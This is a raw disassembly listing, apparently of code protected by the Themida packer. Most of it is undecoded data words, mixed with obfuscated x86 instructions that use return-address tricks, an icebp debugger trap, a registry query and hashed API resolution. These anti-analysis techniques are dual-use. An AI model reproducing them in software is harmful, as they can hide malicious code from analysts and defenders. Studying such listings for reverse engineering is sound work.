		dd 383h, 0F9B70F00h, 171D958Bh,	0F500612h, 981h, 3850F00h
		dd 66000000h, 8B66FA8Bh, 66016AFBh, 0AC42E181h,	6AF8006Ah
		dd 15BD8B00h, 0FF061233h, 12293195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 958B8943h
		dd 612266Dh, 33218589h,	0BD310612h, 61220D5h, 0E950FF6Ah
		dd 0Bh,	4EEEE8BBh, 8553517Ah, 5F6A05A6h, 3321B5FFh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E8C891C3h, 95FFFE8Bh, 6121475h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0A0C35545h,	0DE9h, 7663E200h
		dd 0B158E376h, 7877B49Eh, 8BF800A1h, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1720AF19h
		dd 83C09A3Bh, 122F01BDh, 9750006h, 2149BD83h, 74000612h
		dd 8B535019h, 7D1B8C0h,	85890000h, 6120B35h, 0AD099D8Dh
		dd 0D3FF0614h, 0BD83585Bh, 6122149h, 50177400h,	7D1B853h
		dd 85890000h, 6120B35h,	0A9F89D8Dh, 0D3FF0614h,	0BD29585Bh
		dd 6120B1Dh, 0FC08BF9h,	85C6D6B7h, 61215C1h, 0CFBF0F47h
		dd 0C8F7C168h, 0EE8A6093h, 0F1B5FF61h, 8D061217h, 123B4885h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 897E062Eh, 122FA5B5h, 66D0FF06h,	50CEA0BFh
		dd 1FA18D89h, 858D0612h, 61506F2h, 0C7D18B66h, 9400h, 0E98D2900h
		dd 0B6061226h, 0BF6658C1h, 0B58DBECEh, 61506F2h, 6A56D78Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0E380C350h, 5AEE8082h, 858DD0FFh,	61506F2h
		dd 47883FCh, 35850F06h,	89000000h, 1217D5BDh, 8685C706h
		dd 1061507h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1A65C355h, 952B909Bh
		dd 612150Dh, 25B9BD83h,	0F000612h, 2D85h, 86BD8300h, 61507h
		dd 20850Fh, 8D8B0000h, 6122A55h, 301DBD83h, 0F000612h
		dd 0D84h, 85C7F800h, 612216Dh, 0
; ---------------------------------------------------------------------------
		mov	ecx, edx
		mov	bx, ds
		mov	cl, 16h
		test	bl, 4
		jz	loc_5AD2B3
		push	0
		push	edx
		call	sub_5ACD9F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACD9F	proc near		; CODE XREF: Themida_:005ACD97p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5ACD9F	endp

; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E985C7DCh, 6120Eh, 89000000h, 122879B5h, 0DCBD8006h
		dd 61502h, 2850Fh, 0F88B0000h, 15C185C6h, 81470612h, 46F77DDAh
		dd 68D18B10h, 0E3E45B86h, 5870Fh, 81660000h, 0FF303ACAh
		dd 1217F1B5h, 0CEB70F06h, 1D15BD8Bh, 858D0612h,	6123B48h
		dd 5E57C981h, 8D8B3694h, 61202E1h, 0BF0FD0FFh, 10468CBh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D8950C3h, 6122769h, 0F5D9D8Dh, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FD7A62C3h, 40145F26h, 0D68B123Eh, 0AE860h, 48180000h
		dd 0BCA309E6h, 6052F717h, 84DB8166h, 0BD31593Bh, 61229CDh
		dd 850F5361h, 3, 8BD2B70Fh, 121D158Dh, 60D0FF06h, 143D8501h
		dd 0F610612h, 178Dh, 12E900h, 82AE0000h, 5DBB311Eh, 0DDB787FFh
		dd 4618F3D4h, 480CC2DFh, 0F5D858Dh, 0BD230612h,	6121F55h
		dd 8E858D50h, 8B061502h, 122E3195h, 8A0F5006h, 6, 1EDD8D33h
		dd 858D0612h, 614F961h,	2465BD8Bh, 0BF0F0612h, 0BD8B50CAh
		dd 6122E69h, 132195FFh,	6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0AF185C3h, 6E9h, 0FE52BD00h
		dd 895D50FAh, 1233E19Dh, 0CC48306h, 14E8h, 66478700h, 3EDA0068h
		dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 0CED98197h, 5F62D2D6h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 614F961h
		dd 4195FF50h, 89061204h, 15027185h, 0C185C606h,	47061215h
		dd 0B15E8768h, 0F1B5FFC7h, 8D061217h, 123B4885h, 6AD0FF06h
		dd 71B5FF00h, 0FF061502h, 7DBD31D0h, 29061219h,	122DB58Dh
		dd 37D03D06h, 830F0000h, 4Bh, 0AE9h, 11345100h,	0A21E157Ch
		dd 0FFCAFEA2h, 150271B5h, 81950306h, 0F061225h,	28Ch, 0FFA3B600h
		dd 121BB195h, 68B0F06h,	89000000h, 122DDD8Dh, 84E906h
		dd 6E90000h, 14000000h,	0D56E0F52h, 85858972h, 0FF061208h
		dd 150271B5h, 0FFD18B06h, 121BB195h, 0A9B58906h, 6A06122Ah
		dd 69B52900h, 89061200h, 120F31BDh, 89006A06h, 1207D58Dh
		dd 0F006A06h, 8B66D7BFh, 81006ACBh, 0A57A68E7h,	8B006A72h
		dd 1218AD95h, 8B006A06h, 75858DC8h, 8B061502h, 820F50D0h
		dd 6, 1CE99D89h, 95890612h, 6121725h, 44195FFh,	8B660612h
		dd 0FFF883CAh, 14E850Fh, 858D0000h, 614BD74h, 0D0FFC88Bh
		dd 12499589h, 6A0612h, 792EF281h, 6A04A2h, 32919D89h, 6A0612h
		dd 6A3BD280h, 0C99D8900h, 6A061211h, 5AFC5200h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 12E976C3h, 3F000000h, 0FB3CA8D1h, 391C5A47h,	26119E84h
		dd 4EEEE8BBh, 75858D7Ah, 0F061502h, 1881h, 10E800h, 5E3B0000h
		dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 6160CAFBh, 0BF0F5059h
		dd 4195FFD3h, 0E8061204h, 11h, 979DFBC2h, 0CE52EDDFh, 0A59968E5h
		dd 625DE451h, 89B531F7h, 5A061200h, 8618589h, 0F8830612h
		dd 8D850FFFh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0ED34C351h,	0AE4AB809h
		dd 9E8h, 0B0739A00h, 2E049393h,	0BD2B6E24h, 6121A09h, 0FE8B665Ah
		dd 0FC7DB58Dh, 8D8B0614h, 61214A5h, 0A6D0858Dh,	830F0614h
		dd 1, 8BD0FFF8h, 121BC195h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0BC8EC357h
		dd 0D13CDED0h, 0F5D981EFh, 2B5BD8Bh, 95FF0612h,	6122E3Dh
		dd 2718589h, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D89ADC3h, 612132Dh, 8B66006Ah
		dd 0D58D8BD7h, 8D061226h, 15026985h, 50CA8B06h,	33B5958Bh
		dd 46A0612h, 0CE9h, 9BF12400h, 9DAB8301h, 0F4534AC7h, 0C1858D8Dh
		dd 8B061212h, 121F9DBDh, 79BD8B06h, 50061208h, 3B5BBF66h
		dd 0D38A006Ah, 8C0F006Ah, 6, 3265BD09h,	16A0612h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D6C35343h, 8BB43DDDh
		dd 8DBD8BF8h, 0FF061223h, 150271B5h, 0F9B58906h, 0FF061221h
		dd 12165D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E9CD8D7Fh, 0Eh, 4AAC1E37h, 0C6AAFF8Ah
		dd 1D7E5D08h, 0F9E9FE6Bh, 5200001Ah, 149D8D2Bh
; ---------------------------------------------------------------------------
		adc	al, [esi]
		pop	edi


loc_5AD2B3:				; CODE XREF: Themida_:005ACD8Ej
		mov	eax, eax
		mov	edi, ebx
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5AD2C9
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AD2E2


loc_5AD2C9:				; CODE XREF: Themida_:005AD2BEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614AD09h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD2E2:				; CODE XREF: Themida_:005AD2C7j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5AD302
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+6120B35h],	eax
		lea	ebx, [ebp+614A9F8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD302:				; CODE XREF: Themida_:005AD2E9j
		push	0
		push	edx
		call	sub_5AD30D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD30D	proc near		; CODE XREF: Themida_:005AD305p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5AD30D	endp

; ---------------------------------------------------------------------------
		sub	ah, ch
		pusha
		mov	[ebp+6122465h],	ebx
		popa
		push	0
		push	ecx
		call	sub_5AD332
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD332	proc near		; CODE XREF: Themida_:005AD32Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5AD332	endp

; ---------------------------------------------------------------------------
		or	eax, 9D89C08Bh
		add	[edi], edx
		adc	al, [esi]
		mov	dword ptr [ebp+6120EE9h], 1
		push	0
		push	esi
		call	sub_5AD360
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD360	proc near		; CODE XREF: Themida_:005AD358p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5AD360	endp

; ---------------------------------------------------------------------------
		icebp
		sahf
		and	dl, 0BDh
		push	0CEE4E7B8h
		push	dword ptr [ebp+6122FD1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		mov	[ebp+6120B75h],	eax
		lea	eax, [ebp+61504CDh]
		push	eax
		lea	eax, [ebp+615078Ah]
		push	eax
		push	80000001h
		call	dword ptr [ebp+6120B75h]
		or	eax, eax
		jnz	short loc_5AD3B5
		mov	dword ptr [ebp+6122DB1h], 1


loc_5AD3B5:				; CODE XREF: Themida_:005AD3A9j
		push	0C005DBD4h
		push	dword ptr [ebp+6122FD1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		mov	[ebp+6121469h],	eax
		lea	eax, [ebp+614F71Ah]
		push	eax
		push	dword ptr [ebp+61217F1h]
		call	dword ptr [ebp+6122A6Dh]
		or	eax, eax
		jz	short loc_5AD3F0
		mov	ebx, eax
		lea	eax, [ebp+61506CDh]
		push	eax
		call	ebx	; _iob


loc_5AD3F0:				; CODE XREF: Themida_:005AD3E3j
		lea	eax, [ebp+61506CDh]
		cmp	word ptr [eax],	9
		jnz	short loc_5AD406
		mov	dword ptr [ebp+6121DC5h], 1


loc_5AD406:				; CODE XREF: Themida_:005AD3FAj
		call	dword ptr [ebp+61233ADh]
		and	eax, 0FFh
		cmp	eax, 5
		jnb	short loc_5AD420
		mov	dword ptr [ebp+6121FC9h], 1


loc_5AD420:				; CODE XREF: Themida_:005AD414j
		sub	[ebp+6121FB9h],	ebx
		and	edx, [ebp+6120021h]
		cmp	byte ptr [ebp+61502DCh], 0
		jz	loc_5AD45D
		push	esi
		cld
		pop	edi
		cmp	dword ptr [ebp+6150786h], 0
		jz	loc_5AD465
		call	near ptr loc_5AD456+4
		test	ch, ah
		mov	bl, 0DBh
		jnb	short near ptr loc_5AD474+3
		cmp	dl, ah


loc_5AD456:				; CODE XREF: Themida_:005AD449p
		adc	esi, [edi-8758987h]
		pop	edi


loc_5AD45D:				; CODE XREF: Themida_:005AD433j
		jmp	loc_5AEDA4
; ---------------------------------------------------------------------------
		movsx	edx, cx


loc_5AD465:				; CODE XREF: Themida_:005AD443j
		cmp	dword ptr [ebp+6121DC5h], 0
		jnz	loc_5AD56F
		mov	ch, dl


loc_5AD474:				; CODE XREF: Themida_:005AD452j
		or	edx, [ebp+6122C45h]
		lea	eax, [ebp+61502A6h]
		push	0
		push	ebp
		call	sub_5AD48B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD48B	proc near		; CODE XREF: Themida_:005AD483p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5AD48B	endp

; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------
		shl	dword ptr [edx+ebp*2-3AF9E87Bh], 0C4h
		mov	ebp, 26D5BD89h
		adc	al, [esi]
		sub	dx, 2540h
		push	eax
		and	cx, 36FAh
		push	1
		push	0
		push	edi
		call	sub_5AD4C3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD4C3	proc near		; CODE XREF: Themida_:005AD4BBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5AD4C3	endp

; ---------------------------------------------------------------------------
		db 5Eh
		dd 0F50E2815h, 91666E8Eh, 66006A48h, 6A4EF4BFh,	8D8B6000h
		dd 61219A9h, 0B999D29h,	0FF610612h, 12293195h, 3880F06h
		dd 80000000h, 8589B7D1h, 61502D0h, 6ADAF680h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 952F8B40h, 9E90710h,	0D8000000h, 5A6A33FBh, 0D6FC3BE1h
		dd 2D0B5FFh, 0EF810615h, 5C4872A1h, 147595FFh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0AEA823C3h
		db 77h,	0C2h, 34h
; ---------------------------------------------------------------------------


loc_5AD56F:				; CODE XREF: Themida_:005AD46Cj
		lea	eax, [ebp+614F6E1h]
		mov	cl, 0AFh
		push	eax
		mov	dx, 0AC14h
		call	dword ptr [ebp+612289Dh]
		mov	edi, [ebp+61227EDh]
		add	di, 1A2Ch
		mov	[ebp+614F76Bh],	eax
		mov	dl, bh
		lea	eax, [ebp+614F6EEh]
		jb	loc_5AD5A7
		mov	[ebp+61211D9h],	ecx


loc_5AD5A7:				; CODE XREF: Themida_:005AD59Bj
		push	eax
		mov	ch, al
		mov	[ebp+6121681h],	ecx
		push	dword ptr [ebp+614F76Bh]
		mov	dl, ah
		call	dword ptr [ebp+6122A6Dh]
		push	0
		push	ebx
		call	sub_5AD5C9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD5C9	proc near		; CODE XREF: Themida_:005AD5C1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5AD5C9	endp

; ---------------------------------------------------------------------------
		db 4, 68h, 29h
		dd 12320D95h, 0A1858906h, 0F806121Ch, 0F75C858Dh, 6E80614h
		dd 70000000h, 0E04FDCB6h, 5AF88BA1h, 9D958B50h,	8B061214h
		dd 12255D95h, 6BB5FF06h, 0F0614F7h, 681h, 0DD8D8B00h, 0FF061226h
		dd 122A6D95h, 0D9853106h, 8906122Bh, 14F77F85h,	558D3106h
		dd 8B06122Ah, 1217018Dh, 3B858D06h, 890614F7h, 1208D18Dh
		dd 6A5006h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 937BD6C3h, 8B03758Ch, 121C4995h, 29EF8106h
		dd 0FF1CB291h, 14F76BB5h, 14E806h, 0AD630000h, 4D044876h
		dd 6659225Ch, 0C41A24DAh, 0C1D60BD8h, 8157306Ah, 7ADACCD9h
		dd 0FF59596Fh, 122A6D95h, 8974B106h, 14F77785h,	0DE8B6006h
		dd 2588B966h, 2E858D61h, 660614F7h, 509CEABAh, 9D89D18Bh
		dd 61227C5h, 0F76BB5FFh, 6E90614h, 20000000h, 0D9D6B319h
		dd 0FFF78AECh, 122A6D95h, 38BF6606h, 0FBBF0F72h, 0F77B8589h
		dd 0F2800614h, 49858D69h, 8B0614F7h, 12E950F9h,	0AA000000h
		dd 0B24AC47Ch, 63C294CFh, 795FE196h, 0EBF02A8Eh, 6BB5FF91h
		dd 500614F7h, 5AF88B66h, 2A6D95FFh, 0BD890612h,	61213D5h
		dd 89CABF0Fh, 12278D85h, 43A9BF06h, 858D2156h, 614F6FDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6C35646h
		dd 8F5A803Fh, 91F05017h, 21858912h, 0B206122Ch,	800F5072h
		dd 6, 88ED981h,	0B5FF057Eh, 614F76Bh, 2B018D8Bh, 95FF0612h
		dd 6122A6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0B6C35141h, 0B2C3AB99h,	9E2150EEh, 0D1BF0F24h
		dd 8944D980h, 14F76F85h, 0FFB70F06h, 0F70C858Dh, 0EF810614h
		dd 71F89242h, 0F58D2B50h, 0FF061222h, 14F76BB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6D95FF44h, 0F06122Ah, 8589FAB7h, 614F773h, 68C9B70Fh
		dd 104h, 13E9h,	0CC824400h, 0AABB58FDh,	361D6B6Ah, 0F61C8D0h
		dd 59915907h, 0F803858Dh, 8D8B0614h, 6122C79h, 50D2BF0Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FBC35242h
		dd 1A89DDCAh, 66C0F6B7h, 3248D781h, 0F907858Dh,	85890614h
		dd 612131Dh, 8D8D8950h,	60061221h, 16699D89h, 0C6810612h
		dd 68C693h, 4D95FF61h, 0F061214h, 886h,	2850F00h, 60000000h
		dd 0FC08561h, 685h, 0BD9D8900h,	80061207h, 1502DCBDh, 850F0006h
		dd 27h,	36D8D8Bh, 0F5E90612h, 6A000014h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8376C351h
		dd 121DC5BDh, 850F0006h, 18h, 791BD31h,	0BD830612h, 6150786h
		dd 43840F00h, 66000000h, 0E0F6F181h, 0F7A0858Dh, 0B5890614h
		dd 61207E1h, 14A3E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 504BDB2Bh, 19E9h, 0C9B70F00h
		dd 3279BD8Bh, 858D0612h, 614F78Bh, 2880F51h, 60000000h
		dd 8B505961h, 1213E195h, 8DCF8B06h, 14F80385h, 6E806h
		dd 0BEEC0000h, 3880ED75h, 0B95BD8Bh, 0B95F0612h, 0FB33AF1h
		dd 0C9858950h, 8306121Bh, 121DC5BDh, 840F0006h,	2Ah, 16BE6660h
		dd 8D8B61FFh, 6122379h,	0F929858Dh, 8C0F0614h, 6, 259D958Bh
		dd 13E90612h, 0F9000000h, 2E918509h, 858D0612h,	614F912h
		dd 2CD18589h, 0F500612h, 681h, 0FD958B00h, 8D061219h, 14F96185h
		dd 0F1BD2906h, 50061210h, 0FFEAE180h, 12132195h, 0D2B70F06h
		dd 6610C483h, 0C08BF98Bh, 0DF04EA81h, 0BD832D10h, 6122F01h
		dd 83097500h, 122149BDh, 19740006h, 0C08B5350h,	7D3B8h
		dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h
		dd 61221h, 53501774h, 7D3B8h, 35858900h, 8D06120Bh, 14A9F89Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0E779765Ch, 55BC293Ah, 12E90447h
		dd 0C5000000h, 807B6D69h, 65EA7746h, 0BEE6271Bh, 0B780124Fh
		dd 79BD8B5Ch, 8B061226h, 810F53C0h, 2, 81595F57h, 14F78BBDh
		dd 65726F06h, 0BE840F61h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C7FEC351h
		dd 80A1F895h, 0F803858Dh, 8D500614h, 14F94085h,	858D5006h
		dd 614F961h, 2195FF50h,	83061213h, 85C60CC4h, 61215C1h
		dd 184F6844h, 0B5FF96A3h, 61217F1h, 3B48858Dh, 0D0FF0612h
		dd 858DD88Bh, 614F961h,	8DD3FF50h, 14F78B85h, 858D5006h
		dd 614F803h, 0C5BD8350h, 6121Dh, 858D0874h, 614F929h, 858D06EBh
		dd 614F912h, 61858D50h,	500614F9h, 132195FFh, 0C4830612h
		dd 0AE810h, 94A0000h, 71ECC27Fh, 58C7CB81h, 8E8h, 6FCEFC00h
		dd 2B6ECD77h, 0FAF181C8h, 5A7D797Ch, 0AD95FF5Fh, 6A061233h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 2565C351h, 0FFh, 0F883CF8Ah, 48830F05h, 0F000000h
		dd 185h, 85C7FC00h, 6121FC9h, 1, 8E9h, 0BA25A200h, 4C30E85Dh
		dd 0BF858D79h, 290614F7h, 1215ADBDh, 0A8E906h, 0EE90000h
		dd 27000000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h, 72E28140h
		dd 8365B82Bh, 121DC5BDh, 840F0006h, 6Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 91C35343h, 675CC060h
		dd 3EA26276h, 1FCD9D09h, 0F500612h, 289h, 5F616000h, 0F7EA858Dh
		dd 9600614h, 123455BDh,	5890F06h, 66000000h, 0D687E781h
		dd 30E961h, 0FE80000h, 0AA000000h, 36D5CA83h, 8A513318h
		dd 0C936E454h, 9501C305h, 612036Dh, 0CC858D5Ah,	600614F7h
		dd 5E9h, 37A97400h, 0EB80CD6Eh,	858961D7h, 614F7FFh, 8E8h
		dd 0A5B9AC00h, 47231031h, 8D8D8BF2h, 5A061208h,	1DC5BD83h
		dd 0F000612h, 4185h, 0F6C28100h, 8351C97Ch, 150786BDh
		dd 840F0006h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 9C35343h, 1DD51B43h, 5FB824F0h, 5E9h
		dd 9F7B1200h, 0E5E94C08h, 0F5000010h, 52AE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9A109216h, 0D1B70F97h, 0BD33C08Bh, 61225BDh,	2F01BD83h
		dd 75000612h, 49BD8309h, 61221h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h
		dd 122149BDh, 17740006h, 0D4B85350h, 89000007h,	120B3585h
		dd 0F89D8D06h, 0FF0614A9h, 89585BD3h, 122F51BDh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0E125F34Fh, 0C77EF281h, 0C08B3E38h, 32C5BD89h, 3F680612h
		dd 89000F00h, 1232E185h, 0F8006A06h, 13B9006Ah,	0FF229E0Ah
		dd 121CA195h, 0C5BD8B06h, 85061218h, 19850FC0h,	0E8000000h
		dd 0Dh,	0ED4827Ch, 0AF8572E9h, 4C0DAF9Ch, 89B58984h, 59061218h
		dd 0F7838589h, 0FE80614h, 34000000h, 2001E6D0h,	0EF1DDA29h
		dd 0B4B3B77Dh, 0C7816A0Ah, 1F5B3F8Ah, 9006A5Ah,	122E01BDh
		dd 6AFB8B06h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E931B65Fh, 0Ch,	0EE0FD29Eh, 9A46ED8Bh
		dd 0E77D1FEDh, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0A5E7BAC3h, 6A006A5Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0C573C350h, 0C1B535EFh, 0AE9006Ah, 53000000h, 0D01BE089h
		dd 0D28372A7h, 61858D62h, 0B90614F9h, 2B8A3C99h, 11E9h
		dd 5B6CD600h, 0C7178C55h, 33C13124h, 605E4AC8h,	8950B1D7h
		dd 1223AD9Dh, 60016A06h, 0F099D89h, 95290612h, 6122CF5h
		dd 6A016A61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0A3BFC352h, 16A005Ah, 1FCD8D89h
		dd 0FF680612h, 89000F01h, 1215BDBDh, 0C5BD8306h, 6121Dh
		dd 55840Fh, 8B660000h, 0E0858DCBh, 6A0614F7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2A9EC353h, 0BD8B4AA0h, 6120009h, 13F5958Bh, 0BD8B0612h
		dd 6122755h, 30E9h, 11E900h, 612C0000h,	5A6CE7CBh, 16014453h
		dd 0C1A7F5F1h, 8D972EC9h, 14F7B685h, 0FE906h, 7FED0000h
		dd 279D4BC6h, 339AE408h, 5E71F3DBh, 880F505Dh, 12h, 6E8h
		dd 54664B00h, 0F0F9830h, 8Bh, 0E9505A00h, 7, 0A095BFA3h
		dd 0FF177D8Fh, 14F783B5h, 0B9C28106h, 0FF1973F6h, 14F76F95h
		dd 7DB58906h, 89061229h, 12332D9Dh, 0FC08506h, 5185h, 90BA6600h
		dd 99E94Ah, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D5233EC3h, 1D820FD5h, 0E8000000h
		dd 11h,	125EECA1h, 2AB413B9h, 0EAB696DEh, 0E91143Eh, 4995035Ch
		dd 5A061204h, 1225B589h, 85890612h, 614F787h, 2CDBD03h
		dd 0B5890612h, 6121655h, 0F787B5FFh, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DA9DE4C3h
		dd 80222DA9h, 0FFAC7527h, 12278D95h, 0FC08506h,	685h, 8D0F00h
		dd 6A000000h, 459D8910h, 8306121Dh, 121DC5BDh, 840F0006h
		dd 50h,	858D51B6h, 614F7E0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 10C35747h, 10ED057Bh, 51116D8Fh
		dd 1F75BD23h, 0E9590612h, 0Dh, 49A22FC2h, 192165F8h, 741E0F82h
		dd 0FE95Fh, 8D090000h, 6121299h, 0F7B6858Dh, 0DA800614h
		dd 6A50ADh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 4D01BDC3h, 15F54F97h, 0EE9B01Dh, 28000000h
		dd 4FFCA2h, 0BDCA5BFBh,	0F80CD2DDh, 3A68BA4Eh, 0B5FF69C0h
		dd 614F783h, 0BDE18166h, 7B95FF42h, 850614F7h, 21850FC0h
		dd 0E8000000h, 11h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h
		dd 0BD8956F0h, 61200C5h, 0D78B5F5Fh, 0F7878589h, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 305FA2C3h, 9FD9BBBDh, 0EA816686h, 6A5093h, 33D9503h
		dd 6A0612h, 0FFD68B66h,	14F787B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0DD520290h
		dd 277D8501h, 95FF0612h, 614F773h, 543B01BFh, 0FC08532h
		dd 0C85h, 0DD8D8900h, 29061220h, 121979BDh, 87B5FF06h
		dd 0B90614F7h, 13BCB07Fh, 278D95FFh, 53500612h,	23CBC181h
		dd 5A5A01CAh, 0FC085F5h, 2A85h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 523554C1h
		dd 0A2596626h, 0C59D09C3h, 6A061228h, 8B666000h, 6AA9B9DFh
		dd 68615316h, 80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0E6C35747h, 0FDB91486h, 89A510A3h, 12302595h
		dd 9036A06h, 1232919Dh,	2B006A06h, 122121BDh, 0A0F58006h
		dd 0B529006Ah, 6122E65h, 1BB9BD29h, 680612h, 0FC00000h
		dd 0B5FFFBBFh, 614F7FFh, 2345BD89h, 95FF0612h, 6120441h
		dd 0CE8h, 58FA3600h, 804C49BEh,	4A45EE21h, 0FD8D8BA9h
		dd 5F061217h, 0FFF883F9h, 44E850Fh, 8D8B0000h, 6121BADh
		dd 26D85FFh, 8D890615h,	6120285h, 26DBD83h, 0F020615h
		dd 35584h, 0FD9D0100h, 8D061219h, 5B243B85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0B502C086h, 0FD0FF52h, 68Eh,	8DB58900h, 8D061203h, 5B1E8E85h
